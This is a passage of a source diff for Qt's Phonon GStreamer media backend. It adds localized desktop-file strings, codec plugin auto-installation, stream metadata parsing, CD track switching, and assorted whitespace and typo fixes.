         const float tx_array[] = { 0, 0, 1, 0, 1, 1, 0, 1};
         const QRectF r = drawFrameRect();
 
-        const float v_array[] = { r.left(), r.top(), r.right(), r.top(), r.right(), r.bottom(), r.left(), r.bottom() };
+        const float v_array[] = { float(r.left()), float(r.top()), float(r.right()), float(r.top()), float(r.right()), float(r.bottom()), float(r.left()), float(r.bottom()) };
 
         glActiveTexture(GL_TEXTURE0);
         glBindTexture(GL_TEXTURE_2D, m_texture[0]);
diff --git a/src/3rdparty/phonon/gstreamer/gsthelper.cpp b/src/3rdparty/phonon/gstreamer/gsthelper.cpp
index 34d99fa..69bb75c 100644
--- a/src/3rdparty/phonon/gstreamer/gsthelper.cpp
+++ b/src/3rdparty/phonon/gstreamer/gsthelper.cpp
@@ -121,7 +121,7 @@ GstElement* GstHelper::createPluggablePlaybin()
 {
     GstElement *playbin = 0;
     //init playbin and add to our pipeline
-    playbin = gst_element_factory_make("playbin", NULL);
+    playbin = gst_element_factory_make("playbin2", NULL);
 
     //Create an identity element to redirect sound
     GstElement *audioSinkBin =  gst_bin_new (NULL);
diff --git a/src/3rdparty/phonon/gstreamer/gstreamer.desktop b/src/3rdparty/phonon/gstreamer/gstreamer.desktop
index b62472b..0861762 100644
--- a/src/3rdparty/phonon/gstreamer/gstreamer.desktop
+++ b/src/3rdparty/phonon/gstreamer/gstreamer.desktop
@@ -10,28 +10,81 @@ Icon=phonon-gstreamer
 InitialPreference=10
 
 Name=GStreamer
+Name[bg]=GStreamer
+Name[ca]=GStreamer
+Name[ca@valencia]=GStreamer
+Name[cs]=GStreamer
+Name[da]=GStreamer
+Name[de]=GStreamer
+Name[el]=GStreamer
+Name[en_GB]=GStreamer
+Name[es]=GStreamer
+Name[et]=GStreamer
+Name[eu]=GStreamer
+Name[fi]=GStreamer
+Name[fr]=GStreamer
+Name[ga]=GStreamer
+Name[gl]=GStreamer
+Name[hsb]=GStreamer
+Name[hu]=GStreamer
+Name[id]=GStreamer
+Name[is]=GStreamer
+Name[it]=GStreamer
+Name[ja]=GStreamer
+Name[ko]=GStreamer
+Name[ku]=GStreamer
+Name[lt]=GStreamer
+Name[lv]=GStreamer
+Name[nb]=GStreamer
+Name[nds]=GStreamer
+Name[nl]=GStreamer
+Name[nn]=GStreamer
 Name[pa]=ਜੀਸਟੀਰਮਰ
+Name[pl]=GStreamer
+Name[pt]=GStreamer
+Name[pt_BR]=GStreamer
+Name[ru]=GStreamer
+Name[se]=GStreamer
+Name[sk]=GStreamer
+Name[sl]=GStreamer
 Name[sr]=Гстример
+Name[sr@ijekavian]=Гстример
+Name[sr@ijekavianlatin]=GStreamer
+Name[sr@latin]=GStreamer
 Name[sv]=Gstreamer
+Name[tr]=GStreamer
+Name[uk]=GStreamer
 Name[x-test]=xxGStreamerxx
+Name[zh_CN]=GStreamer
+Name[zh_TW]=GStreamer
 
 Comment=Phonon GStreamer backend
 Comment[bg]=Phonon GStreamer
 Comment[ca]=Dorsal GStreamer del Phonon
+Comment[ca@valencia]=Dorsal GStreamer del Phonon
+Comment[cs]=Phonon GStreamer backend
 Comment[da]=GStreamer-backend til Phonon
 Comment[de]=Phonon-Treiber für GStreamer
 Comment[el]=Σύστημα υποστήριξης GStreamer του Phonon
+Comment[en_GB]=Phonon GStreamer backend
 Comment[es]=Motor GStreamer para Phonon
 Comment[et]=Phononi GStreameri taustaprogramm
+Comment[eu]=Phonon GStreamer backend
+Comment[fi]=Phonon GStreamer-taustaohjelma
 Comment[fr]=Système de gestion GStreamer pour Phonon 
 Comment[ga]=Inneall GStreamer le haghaidh Phonon
 Comment[gl]=Infraestrutura de GStreamer para Phonon
+Comment[hsb]=Phonon GStreamer backend
+Comment[hu]=Phonon GStreamer modul
+Comment[id]=Phonon GStreamer backend
 Comment[is]=Phonon GStreamer bakendi
 Comment[it]=Motore Gstreamer di Phonon
 Comment[ja]=Phonon GStreamer バックエンド
 Comment[ko]=Phonon GStreamer 백엔드
 Comment[ku]=Binesaza Phonon GStreamer
+Comment[lt]=Phonon GStreamer galinė sąsaja
 Comment[lv]=Phonon GStreamer aizmugure
+Comment[nb]=Phonon-motor for GStreamer
 Comment[nds]=Phonon-Hülpprogramm GStreamer
 Comment[nl]=GStreamer-backend (Phonon)
 Comment[nn]=Phonon-motor for GStreamer
@@ -39,9 +92,13 @@ Comment[pa]=ਫੋਨੋਨ ਜਸਟੀਰਮਰ ਬੈਕਐਂਡ
 Comment[pl]=Obsługa GStreamera przez Phonon
 Comment[pt]=Infra-estrutura do GStreamer para o Phonon
 Comment[pt_BR]=Infraestrutura Phonon GStreamer
+Comment[ru]=Механизм GStreamer для Phonon
+Comment[se]=Phonon GStreamer duogášmohtor
 Comment[sk]=GStreamer podsystém
 Comment[sl]=Phononova hrbtenica GStreamer
 Comment[sr]=Гстример као позадина Фонона
+Comment[sr@ijekavian]=Гстример као позадина Фонона
+Comment[sr@ijekavianlatin]=GStreamer kao pozadina Phonona
 Comment[sr@latin]=GStreamer kao pozadina Phonona
 Comment[sv]=Phonon Gstreamer-gränssnitt
 Comment[tr]=Phonon GStreamer arka ucu
diff --git a/src/3rdparty/phonon/gstreamer/medianode.cpp b/src/3rdparty/phonon/gstreamer/medianode.cpp
index 7257972..1a84592 100644
--- a/src/3rdparty/phonon/gstreamer/medianode.cpp
+++ b/src/3rdparty/phonon/gstreamer/medianode.cpp
@@ -198,9 +198,9 @@ bool MediaNode::disconnectNode(QObject *obj)
         // Disconnecting elements while playing or paused seems to cause
         // potential deadlock. Hence we force the pipeline into ready state
         // before any nodes are disconnected.
-        gst_element_set_state(root()->pipeline(), GST_STATE_READY);    
+        gst_element_set_state(root()->pipeline(), GST_STATE_READY);
 
-        Q_ASSERT(sink->root()); //sink has to have a root since it is onnected
+        Q_ASSERT(sink->root()); //sink has to have a root since it is connected
 
         if (sink->description() & (AudioSink)) {
             GstPad *sinkPad = gst_element_get_pad(sink->audioElement(), "sink");
diff --git a/src/3rdparty/phonon/gstreamer/mediaobject.cpp b/src/3rdparty/phonon/gstreamer/mediaobject.cpp
index b6d23ec..3e0addc 100644
--- a/src/3rdparty/phonon/gstreamer/mediaobject.cpp
+++ b/src/3rdparty/phonon/gstreamer/mediaobject.cpp
@@ -16,6 +16,7 @@
 */
 #include <cmath>
 #include <gst/interfaces/propertyprobe.h>
+#include <gst/pbutils/install-plugins.h>
 #include "common.h"
 #include "mediaobject.h"
 #include "videowidget.h"
@@ -53,6 +54,7 @@ MediaObject::MediaObject(Backend *backend, QObject *parent)
         , m_tickTimer(new QTimer(this))
         , m_prefinishMark(0)
         , m_transitionTime(0)
+        , m_isStream(false)
         , m_posAtSeek(-1)
         , m_prefinishMarkReachedNotEmitted(true)
         , m_aboutToFinishEmitted(false)
@@ -79,6 +81,7 @@ MediaObject::MediaObject(Backend *backend, QObject *parent)
         , m_autoplayTitles(true)
         , m_availableTitles(0)
         , m_currentTitle(1)
+        , m_pendingTitle(1)
 {
     qRegisterMetaType<GstCaps*>("GstCaps*");
     qRegisterMetaType<State>("State");
@@ -95,8 +98,8 @@ MediaObject::MediaObject(Backend *backend, QObject *parent)
         m_backend->addBusWatcher(this);
         connect(m_tickTimer, SIGNAL(timeout()), SLOT(emitTick()));
     }
-    connect(this, SIGNAL(stateChanged(Phonon::State,Phonon::State)), 
-            this, SLOT(notifyStateChange(Phonon::State,Phonon::State)));
+    connect(this, SIGNAL(stateChanged(Phonon::State, Phonon::State)),
+            this, SLOT(notifyStateChange(Phonon::State, Phonon::State)));
 
 }
 
@@ -136,6 +139,14 @@ QString stateString(const Phonon::State &state)
     return QString();
 }
 
+void
+pluginInstallationDone( GstInstallPluginsReturn res, gpointer userData )
+{
+    // Nothing inside yet
+    Q_UNUSED(res);
+    Q_UNUSED(userData);
+}
+
 void MediaObject::saveState()
 {
     //Only first resumeState is respected
@@ -195,13 +206,35 @@ void MediaObject::noMorePadsAvailable ()
     if (m_missingCodecs.size() > 0) {
         bool canPlay = (m_hasAudio || m_videoStreamFound);
         Phonon::ErrorType error = canPlay ? Phonon::NormalError : Phonon::FatalError;
+#ifdef PLUGIN_INSTALL_API
+        GstInstallPluginsContext *ctx = gst_install_plugins_context_new ();
+        gchar *details[2];
+        details[0] = m_missingCodecs[0].toLocal8Bit().data();
+        details[1] = NULL;
+        GstInstallPluginsReturn status;
+
+        status = gst_install_plugins_async( details, ctx, pluginInstallationDone, NULL );
+        gst_install_plugins_context_free ( ctx );
+
+        if ( status != GST_INSTALL_PLUGINS_STARTED_OK )
+        {
+            if( status == GST_INSTALL_PLUGINS_HELPER_MISSING )
+                setError(QString(tr("Missing codec helper script assistant.")), Phonon::FatalError );
+            else
+                setError(QString(tr("Plugin codec installation failed for codec: %0"))
+                        .arg(m_missingCodecs[0].split("|")[3]), error);
+        }
+        m_missingCodecs.clear();
+#else
+        QString codecs = m_missingCodecs.join(", ");
+
         if (error == Phonon::NormalError && m_hasVideo && !m_videoStreamFound) {
             m_hasVideo = false;
             emit hasVideoChanged(false);
         }
-        QString codecs = m_missingCodecs.join(", ");
         setError(QString(tr("A required codec is missing. You need to install the following codec(s) to play this content: %0")).arg(codecs), error);
         m_missingCodecs.clear();
+#endif
     }
 }
 
@@ -248,7 +281,16 @@ void MediaObject::cb_unknown_type (GstElement *decodebin, GstPad *pad, GstCaps *
         value = QString::fromUtf8(gst_structure_get_name (str));
 
     }
-    media->addMissingCodecName(value);
+
+#ifdef PLUGIN_INSTALL_API
+    QString plugins = QString("gstreamer|0.10|%0|%1|decoder-%2")
+        .arg( qApp->applicationName() )
+        .arg( value )
+        .arg( QString::fromUtf8(gst_caps_to_string (caps) ) );
+    media->addMissingCodecName( plugins );
+#else
+    media->addMissingCodecName( value );
+#endif
 }
 
 static void notifyVideoCaps(GObject *obj, GParamSpec *, gpointer data)
@@ -309,7 +351,7 @@ void MediaObject::connectVideo(GstPad *pad)
             m_backend->logMessage("Video track connected", Backend::Info, this);
             // Note that the notify::caps _must_ be installed after linking to work with Dapper
             m_capsHandler = g_signal_connect(pad, "notify::caps", G_CALLBACK(notifyVideoCaps), this);
- 
+
             if (!m_loading && !m_hasVideo) {
                 m_hasVideo = m_videoStreamFound;
                 emit hasVideoChanged(m_hasVideo);
@@ -368,7 +410,10 @@ bool MediaObject::createPipefromURL(const QUrl &url)
     }
 
     // Create a new datasource based on the input URL
-    QByteArray encoded_cstr_url = url.toEncoded();
+    // add the 'file' scheme if it's missing; the double '/' is needed!
+    QByteArray encoded_cstr_url = (url.scheme() == QLatin1String("") ?
+                    "file://" + url.toEncoded() :
+                    url.toEncoded());
     m_datasource = gst_element_make_from_uri(GST_URI_SRC, encoded_cstr_url.constData(), (const char*)NULL);
     if (!m_datasource)
         return false;
@@ -388,6 +433,14 @@ bool MediaObject::createPipefromURL(const QUrl &url)
             g_object_set (G_OBJECT (m_datasource), "read-speed", 2, (const char*)NULL);
             m_backend->logMessage(QString("new device speed : 2X"), Backend::Info, this);
         }
+  }
+
+    /* make HTTP sources send extra headers so we get icecast
+     * metadata in case the stream is an icecast stream */
+    if (encoded_cstr_url.startsWith("http://")
+        && g_object_class_find_property (G_OBJECT_GET_CLASS (m_datasource), "iradio-mode")) {
+        g_object_set (m_datasource, "iradio-mode", TRUE, NULL);
+        m_isStream = true;
     }
 
     // Link data source into pipeline
@@ -442,7 +495,7 @@ void MediaObject::createPipeline()
     gst_object_ref (GST_OBJECT (m_pipeline));
     gst_object_sink (GST_OBJECT (m_pipeline));
 
-    m_decodebin = gst_element_factory_make ("decodebin", NULL);
+    m_decodebin = gst_element_factory_make ("decodebin2", NULL);
     g_signal_connect (m_decodebin, "new-decoded-pad", G_CALLBACK (&cb_newpad), this);
     g_signal_connect (m_decodebin, "unknown-type", G_CALLBACK (&cb_unknown_type), this);
     g_signal_connect (m_decodebin, "no-more-pads", G_CALLBACK (&cb_no_more_pads), this);
@@ -646,7 +699,7 @@ void MediaObject::setState(State newstate)
             m_backend->logMessage("EOS already reached", Backend::Info, this);
         } else if (currentState == GST_STATE_PLAYING) {
             changeState(Phonon::PlayingState);
-        } else if (!m_atEndOfStream && gst_element_set_state(m_pipeline, GST_STATE_PLAYING) != GST_STATE_CHANGE_FAILURE) {
+        } else if (gst_element_set_state(m_pipeline, GST_STATE_PLAYING) != GST_STATE_CHANGE_FAILURE) {
             m_pendingState = Phonon::PlayingState;
         } else {
             m_backend->logMessage("phonon state request failed", Backend::Info, this);
@@ -676,7 +729,7 @@ void MediaObject::changeState(State newstate)
         return;
 
     Phonon::State oldState = m_state;
-    m_state = newstate; // m_state must be set before emitting, since 
+    m_state = newstate; // m_state must be set before emitting, since
                         // Error state requires that state() will return the new value
     m_pendingState = newstate;
     emit stateChanged(newstate, oldState);
@@ -696,6 +749,8 @@ void MediaObject::changeState(State newstate)
 
     case Phonon::StoppedState:
         m_backend->logMessage("phonon state changed: Stopped", Backend::Info, this);
+        // We must reset the pipeline when playing again
+        m_resetNeeded = true;
         m_tickTimer->stop();
         break;
 
@@ -861,7 +916,7 @@ void MediaObject::setSource(const MediaSource &source)
     // such as failing duration queries etc
     GstState state;
     gst_element_set_state(m_pipeline, GST_STATE_NULL);
-    gst_element_get_state (m_pipeline, &state, NULL, 2000);
+    gst_element_get_state(m_pipeline, &state, NULL, 2000);
 
     m_source = source;
     emit currentSourceChanged(m_source);
@@ -871,7 +926,9 @@ void MediaObject::setSource(const MediaSource &source)
     // Go into to loading state
     changeState(Phonon::LoadingState);
     m_loading = true;
-    m_resetNeeded = false;
+    // IMPORTANT: Honor the m_resetNeeded flag as it currently stands.
+    // See https://qa.mandriva.com/show_bug.cgi?id=56807
+    //m_resetNeeded = false;
     m_resumeState = false;
     m_pendingState = Phonon::StoppedState;
 
@@ -884,8 +941,8 @@ void MediaObject::setSource(const MediaSource &source)
     // Clear any existing errors
     m_aboutToFinishEmitted = false;
     m_error = NoError;
-    m_errorString = QString();
-    
+    m_errorString.clear();
+
     m_bufferPercent = 0;
     m_prefinishMarkReachedNotEmitted = true;
     m_aboutToFinishEmitted = false;
@@ -894,22 +951,23 @@ void MediaObject::setSource(const MediaSource &source)
     setTotalTime(-1);
     m_atEndOfStream = false;
 
-    // Clear exising meta tags
+    m_availableTitles = 0;
+    m_pendingTitle = 1;
+    m_currentTitle = 1;
+
+    // Clear existing meta tags
     m_metaData.clear();
+    m_isStream = false;
 
     switch (source.type()) {
-    case MediaSource::Url: {            
-            if (createPipefromURL(source.url()))
-                m_loading = true;
-            else
+    case MediaSource::Url: {
+            if (!createPipefromURL(source.url()))
                 setError(tr("Could not open media source."));
         }
         break;
 
     case MediaSource::LocalFile: {
-            if (createPipefromURL(QUrl::fromLocalFile(source.fileName())))
-                m_loading = true;
-            else
+            if (!createPipefromURL(QUrl::fromLocalFile(source.fileName())))
                 setError(tr("Could not open media source."));
         }
         break;
@@ -922,17 +980,15 @@ void MediaObject::setSource(const MediaSource &source)
         break;
 
     case MediaSource::Stream:
-        if (createPipefromStream(source))
-            m_loading = true;
-        else
+        if (!createPipefromStream(source))
             setError(tr("Could not open media source."));
         break;
 
     case MediaSource::Disc:
         {
-            QString mediaUrl;
-            switch (source.discType()) {
-            case Phonon::NoDisc:
+       QString mediaUrl;
+       switch (source.discType()) {
+       case Phonon::NoDisc:
                 qWarning() << "I should never get to see a MediaSource that is a disc but doesn't specify which one";
                 return;
             case Phonon::Cd:  // CD tracks can be specified by setting the url in the following way uri=cdda:4
@@ -948,9 +1004,7 @@ void MediaObject::setSource(const MediaSource &source)
                 qWarning() <<  "media " << source.discType() << " not implemented";
                 return;
             }
-            if (!mediaUrl.isEmpty() && createPipefromURL(QUrl(mediaUrl)))
-                m_loading = true;
-            else
+            if (mediaUrl.isEmpty() || !createPipefromURL(QUrl(mediaUrl)))
                 setError(tr("Could not open media source."));
         }
         break;
@@ -966,8 +1020,7 @@ void MediaObject::setSource(const MediaSource &source)
 
     // We need to link this node to ensure that fake sinks are connected
     // before loading, otherwise the stream will be blocked
-    if (m_loading)
-        link();
+    link();
     beginLoad();
 }
 
@@ -1004,22 +1057,22 @@ void MediaObject::getStreamInfo()
         emit hasVideoChanged(m_hasVideo);
     }
 
-    m_availableTitles = 1;
-    gint64 titleCount;
-    GstFormat format = gst_format_get_by_nick("track");
-    if (gst_element_query_duration (m_pipeline, &format, &titleCount)) {
+    if (m_source.discType() == Phonon::Cd) {
+        gint64 titleCount;
+        GstFormat format = gst_format_get_by_nick("track");
+        if (gst_element_query_duration (m_pipeline, &format, &titleCount)) {
         //check if returned format is still "track",
         //gstreamer sometimes returns the total time, if tracks information is not available.
-        if (qstrcmp(gst_format_get_name(format), "track") == 0)  {
-            int oldAvailableTitles = m_availableTitles;
-            m_availableTitles = (int)titleCount;
-            if (m_availableTitles != oldAvailableTitles) {
-                emit availableTitlesChanged(m_availableTitles);
-                m_backend->logMessage(QString("Available titles changed: %0").arg(m_availableTitles), Backend::Info, this);
+            if (qstrcmp(gst_format_get_name(format), "track") == 0)  {
+                int oldAvailableTitles = m_availableTitles;
+                m_availableTitles = (int)titleCount;
+                if (m_availableTitles != oldAvailableTitles) {
+                    emit availableTitlesChanged(m_availableTitles);
+                    m_backend->logMessage(QString("Available titles changed: %0").arg(m_availableTitles), Backend::Info, this);
+                }
             }
         }
     }
-
 }
 
 void MediaObject::setPrefinishMark(qint32 newPrefinishMark)
@@ -1077,7 +1130,7 @@ void MediaObject::seek(qint64 time)
         }
 
         quint64 current = currentTime();
-        quint64 total = totalTime(); 
+        quint64 total = totalTime();
 
         if (current < total - m_prefinishMark)
             m_prefinishMarkReachedNotEmitted = true;
@@ -1098,7 +1151,7 @@ void MediaObject::emitTick()
 
     if (m_tickInterval > 0 && currentTime != m_previousTickTime) {
         emit tick(currentTime);
-        m_previousTickTime = currentTime;        
+        m_previousTickTime = currentTime;
     }
     if (m_state == Phonon::PlayingState) {
         if (currentTime >= totalTime - m_prefinishMark) {
@@ -1109,7 +1162,12 @@ void MediaObject::emitTick()
         }
         // Prepare load of next source
         if (currentTime >= totalTime - ABOUT_TO_FINNISH_TIME) {
-            if (!m_aboutToFinishEmitted) {
+            if (m_source.type() == MediaSource::Disc &&
+                m_autoplayTitles &&
+                m_availableTitles > 1 &&
+                m_currentTitle < m_availableTitles) {
+                m_aboutToFinishEmitted = false;
+            } else if (!m_aboutToFinishEmitted) {
                 m_aboutToFinishEmitted = true; // track is about to finish
                 emit aboutToFinish();
             }
@@ -1213,8 +1271,8 @@ void MediaObject::handleBusMessage(const Message &message)
 
     switch (GST_MESSAGE_TYPE (gstMessage)) {
 
-    case GST_MESSAGE_EOS: 
-        m_backend->logMessage("EOS recieved", Backend::Info, this);
+    case GST_MESSAGE_EOS:
+        m_backend->logMessage("EOS received", Backend::Info, this);
         handleEndOfStream();
         break;
 
@@ -1222,14 +1280,98 @@ void MediaObject::handleBusMessage(const Message &message)
             GstTagList* tag_list = 0;
             gst_message_parse_tag(gstMessage, &tag_list);
             if (tag_list) {
+                TagMap newTags;
+                gst_tag_list_foreach (tag_list, &foreach_tag_function, &newTags);
+                gst_tag_list_free(tag_list);
+
+                // Determine if we should no fake the album/artist tags.
+                // This is a little confusing as we want to fake it on initial
+                // connection where title, album and artist are all missing.
+                // There are however times when we get just other information,
+                // e.g. codec, and so we want to only do clever stuff if we
+                // have a commonly available tag (ORGANIZATION) or we have a
+                // change in title
+                bool fake_it =
+                   (m_isStream
+                    && ((!newTags.contains("TITLE")
+                         && newTags.contains("ORGANIZATION"))
+                        || (newTags.contains("TITLE")
+                            && m_metaData.value("TITLE") != newTags.value("TITLE")))
+                    && !newTags.contains("ALBUM")
+                    && !newTags.contains("ARTIST"));
+
                 TagMap oldMap = m_metaData; // Keep a copy of the old one for reference
-                // Append any new meta tags to the existing tag list
-                gst_tag_list_foreach (tag_list, &foreach_tag_function, &m_metaData);
+
+                // Now we've checked the new data, append any new meta tags to the existing tag list
+                // We cannot use TagMap::iterator as this is a multimap and when streaming data
+                // could in theory be lost.
+                QList<QString> keys = newTags.keys();
+                for (QList<QString>::iterator i = keys.begin(); i != keys.end(); ++i) {
+                    QString key = *i;
+                    if (m_isStream) {
+                        // If we're streaming, we need to remove data in m_metaData
+                        // in order to stop it filling up indefinitely (as it's a multimap)
+                        m_metaData.remove(key);
+                    }
+                    QList<QString> values = newTags.values(key);
+                    for (QList<QString>::iterator j = values.begin(); j != values.end(); ++j) {
+                        QString value = *j;
+                        QString currVal = m_metaData.value(key);
+                        if (!m_metaData.contains(key) || currVal != value) {
+                            m_metaData.insert(key, value);
+                        }
+                    }
+                }
+
                 m_backend->logMessage("Meta tags found", Backend::Info, this);
-                if (oldMap != m_metaData && !m_loading)
-                    emit metaDataChanged(m_metaData);
-                gst_tag_list_free(tag_list);
-            }
+                if (oldMap != m_metaData) {
+                    // This is a bit of a hack to ensure that stream metadata is
+                    // returned. We get as much as we can from the Shoutcast server's
+                    // StreamTitle= header. If further info is decoded from the stream
+                    // itself later, then it will overwrite this info.
+                    if (m_isStream && fake_it) {
+                        m_metaData.remove("ALBUM");
+                        m_metaData.remove("ARTIST");
+
+                        // Detect whether we want to "fill in the blanks"
+                        QString str;
+                        if (m_metaData.contains("TITLE"))
+                        {
+                            str = m_metaData.value("TITLE");
+                            int splitpoint;
+                            // Check to see if our title matches "%s - %s"
+                            // Where neither %s are empty...
+                            if ((splitpoint = str.indexOf(" - ")) > 0
+                                && str.size() > (splitpoint+3)) {
+                                m_metaData.insert("ARTIST", str.left(splitpoint));
+                                m_metaData.replace("TITLE", str.mid(splitpoint+3));
+                            }
+                        } else {
+                            str = m_metaData.value("GENRE");
+                            if (!str.isEmpty())
+                                m_metaData.insert("TITLE", str);
+                            else
+                                m_metaData.insert("TITLE", "Streaming Data");
+                        }
+                        if (!m_metaData.contains("ARTIST")) {
+                            str = m_metaData.value("LOCATION");
+                            if (!str.isEmpty())
+                                m_metaData.insert("ARTIST", str);
+                            else
+                                m_metaData.insert("ARTIST", "Streaming Data");
+                        }
+                        str = m_metaData.value("ORGANIZATION");
+                        if (!str.isEmpty())
+                            m_metaData.insert("ALBUM", str);
+                        else
+                            m_metaData.insert("ALBUM", "Streaming Data");
+                    }
+                    // As we manipulate the title, we need to recompare
+                    // oldMap and m_metaData here...
+                    if (oldMap != m_metaData && !m_loading)
+                        emit metaDataChanged(m_metaData);
+                }
+			}
         }
         break;
 
@@ -1255,6 +1397,9 @@ void MediaObject::handleBusMessage(const Message &message)
                 m_backend->logMessage("gstreamer: pipeline state set to playing", Backend::Info, this);
                 m_tickTimer->start();
                 changeState(Phonon::PlayingState);
+                if ((m_source.type() == MediaSource::Disc) && (m_currentTitle != m_pendingTitle)) {
+                    setTrack(m_pendingTitle);
+                }
                 if (m_resumeState && m_oldState == Phonon::PlayingState) {
                     seek(m_oldPos);
                     m_resumeState = false;
@@ -1290,6 +1435,9 @@ void MediaObject::handleBusMessage(const Message &message)
                     changeState(Phonon::StoppedState);
                 m_backend->logMessage("gstreamer: pipeline state set to ready", Backend::Debug, this);
                 m_tickTimer->stop();
+                if ((m_source.type() == MediaSource::Disc) && (m_currentTitle != m_pendingTitle)) {
+                    setTrack(m_pendingTitle);
+                }
                 break;
 
             case GST_STATE_VOID_PENDING :
@@ -1328,7 +1476,7 @@ void MediaObject::handleBusMessage(const Message &message)
                             setError(err->message, Phonon::FatalError);
                         gst_caps_unref (caps);
                         gst_object_unref (sinkPad);
-                   } 
+                   }
                } else {
                     setError(QString(err->message), Phonon::FatalError);
                }
@@ -1400,8 +1548,8 @@ void MediaObject::handleBusMessage(const Message &message)
         //case GST_MESSAGE_STEP_DONE:
         //case GST_MESSAGE_LATENCY: only from 0.10.12
         //case GST_MESSAGE_ASYNC_DONE: only from 0.10.13
-    default: 
-        break; 
+    default:
+        break;
     }
 }
 
@@ -1417,7 +1565,8 @@ void MediaObject::handleEndOfStream()
     if (!m_seekable)
         m_atEndOfStream = true;
 
-    if (m_autoplayTitles &&
+    if (m_source.type() == MediaSource::Disc &&
+        m_autoplayTitles &&
         m_availableTitles > 1 &&
         m_currentTitle < m_availableTitles) {
         _iface_setCurrentTitle(m_currentTitle + 1);
@@ -1444,6 +1593,14 @@ void MediaObject::handleEndOfStream()
     }
 }
 
+void MediaObject::invalidateGraph()
+{
+    m_resetNeeded = true;
+    if (m_state == Phonon::PlayingState || m_state == Phonon::PausedState) {
+        changeState(Phonon::StoppedState);
+    }
+}
+
 // Notifes the pipeline about state changes in the media object
 void MediaObject::notifyStateChange(Phonon::State newstate, Phonon::State oldstate)
 {
@@ -1502,15 +1659,30 @@ int MediaObject::_iface_currentTitle() const
 
 void MediaObject::_iface_setCurrentTitle(int title)
 {
-    GstFormat trackFormat = gst_format_get_by_nick("track");
     m_backend->logMessage(QString("setCurrentTitle %0").arg(title), Backend::Info, this);
-    if ((title == m_currentTitle) || (title < 1) || (title > m_availableTitles))
+    if ((title == m_currentTitle) || (title == m_pendingTitle))
+        return;
+
+    m_pendingTitle = title;
+
+    if (m_state == Phonon::PlayingState || m_state == Phonon::StoppedState) {
+        setTrack(m_pendingTitle);
+    } else {
+        setState(Phonon::StoppedState);
+    }
+}
+
+void MediaObject::setTrack(int title)
+{
+    if (((m_state != Phonon::PlayingState) && (m_state != Phonon::StoppedState)) || (title < 1) || (title > m_availableTitles))
         return;
 
-    m_currentTitle = title;
 
     //let's seek to the beginning of the song
-    if (gst_element_seek_simple(m_pipeline, trackFormat, GST_SEEK_FLAG_FLUSH, m_currentTitle - 1)) {
+    GstFormat trackFormat = gst_format_get_by_nick("track");
+    m_backend->logMessage(QString("setTrack %0").arg(title), Backend::Info, this);
+    if (gst_element_seek_simple(m_pipeline, trackFormat, GST_SEEK_FLAG_FLUSH, title - 1)) {
+        m_currentTitle = title;
         updateTotalTime();
         m_atEndOfStream = false;
         emit titleChanged(title);
diff --git a/src/3rdparty/phonon/gstreamer/mediaobject.h b/src/3rdparty/phonon/gstreamer/mediaobject.h
index 64b3510..d588ffc 100644
--- a/src/3rdparty/phonon/gstreamer/mediaobject.h
+++ b/src/3rdparty/phonon/gstreamer/mediaobject.h
@@ -55,6 +55,7 @@ class MediaObject : public QObject, public MediaObjectInterface
         , public MediaNode
 {
     friend class Stream;
+    friend class AudioDataOutput;
     Q_OBJECT
     Q_INTERFACES(Phonon::MediaObjectInterface
 #ifndef QT_NO_PHONON_MEDIACONTROLLER
@@ -144,12 +145,8 @@ public:
     void handleBusMessage(const Message &msg);
     void handleEndOfStream();
     void addMissingCodecName(const QString &codec) { m_missingCodecs.append(codec); }
-    void invalidateGraph() {
-        m_resetNeeded = true;
-        if (m_state == Phonon::PlayingState || m_state == Phonon::PausedState) {
-            changeState(Phonon::StoppedState);
-        }
-    }
+    void invalidateGraph();
+
     static void cb_newpad (GstElement *decodebin, GstPad *pad, gboolean last, gpointer data);
     static void cb_pad_added (GstElement *decodebin, GstPad *pad, gpointer data);
     static void cb_unknown_type (GstElement *decodebin, GstPad *pad, GstCaps *caps, gpointer data);
@@ -236,6 +233,7 @@ private:
     int _iface_availableTitles() const;
     int _iface_currentTitle() const;
     void _iface_setCurrentTitle(int title);
+    void setTrack(int title);
 
     bool m_resumeState;
     State m_oldState;
@@ -250,6 +248,7 @@ private:
     MediaSource m_nextSource;
     qint32 m_prefinishMark;
     qint32 m_transitionTime;
+	bool m_isStream;
 
     qint64 m_posAtSeek;
 
@@ -285,6 +284,7 @@ private:
     bool m_autoplayTitles;
     int m_availableTitles;
     int m_currentTitle;
+    int m_pendingTitle;
 };
 }
 } //namespace Phonon::Gstreamer
diff --git a/src/3rdparty/phonon/gstreamer/qwidgetvideosink.h b/src/3rdparty/phonon/gstreamer/qwidgetvideosink.h
index 73a494a..f83dba5 100644
--- a/src/3rdparty/phonon/gstreamer/qwidgetvideosink.h
+++ b/src/3rdparty/phonon/gstreamer/qwidgetvideosink.h
@@ -19,6 +19,7 @@
 #define Phonon_GSTREAMER_VIDEOSINK_H
 
 #include "common.h"
+#include "qwidgetvideosink.h"
 
 #include <QtCore/QByteArray>
 #include <QtCore/QEvent>
diff --git a/src/3rdparty/phonon/gstreamer/videowidget.h b/src/3rdparty/phonon/gstreamer/videowidget.h
index dc0754d..8603f6a 100644
--- a/src/3rdparty/phonon/gstreamer/videowidget.h
+++ b/src/3rdparty/phonon/gstreamer/videowidget.h
@@ -25,6 +25,7 @@
 #include "common.h"
 #include "medianode.h"
 #include "abstractrenderer.h"
+#include "videowidget.h"
 
 #include <gst/gst.h>
 
diff --git a/src/3rdparty/phonon/gstreamer/x11renderer.cpp b/src/3rdparty/phonon/gstreamer/x11renderer.cpp
index 73877a8..968f3a8 100644
--- a/src/3rdparty/phonon/gstreamer/x11renderer.cpp
+++ b/src/3rdparty/phonon/gstreamer/x11renderer.cpp
@@ -90,7 +90,7 @@ GstElement* X11Renderer::createVideoSink()
             gst_object_unref(GST_OBJECT(videoSink));
             videoSink = 0;
         } else {
-            // Note that this should not really be neccessary as these are 
+            // Note that this should not really be necessary as these are
             // default values, though under certain conditions values are retained
             // even between application instances. (reproducible on 0.10.16/Gutsy)
             g_object_set(G_OBJECT(videoSink), "brightness", 0, (const char*)NULL);
@@ -138,6 +138,7 @@ void X11Renderer::scaleModeChanged(Phonon::VideoWidget::ScaleMode)
 void X11Renderer::movieSizeChanged(const QSize &movieSize)
 {
     Q_UNUSED(movieSize);
+
     if (m_renderWidget) {
         m_renderWidget->setGeometry(m_videoWidget->calculateDrawFrameRect());
     }
diff --git a/src/3rdparty/phonon/mmf/abstractaudioeffect.cpp b/src/3rdparty/phonon/mmf/abstractaudioeffect.cpp
index 132eb79..6cfeb76 100644
--- a/src/3rdparty/phonon/mmf/abstractaudioeffect.cpp
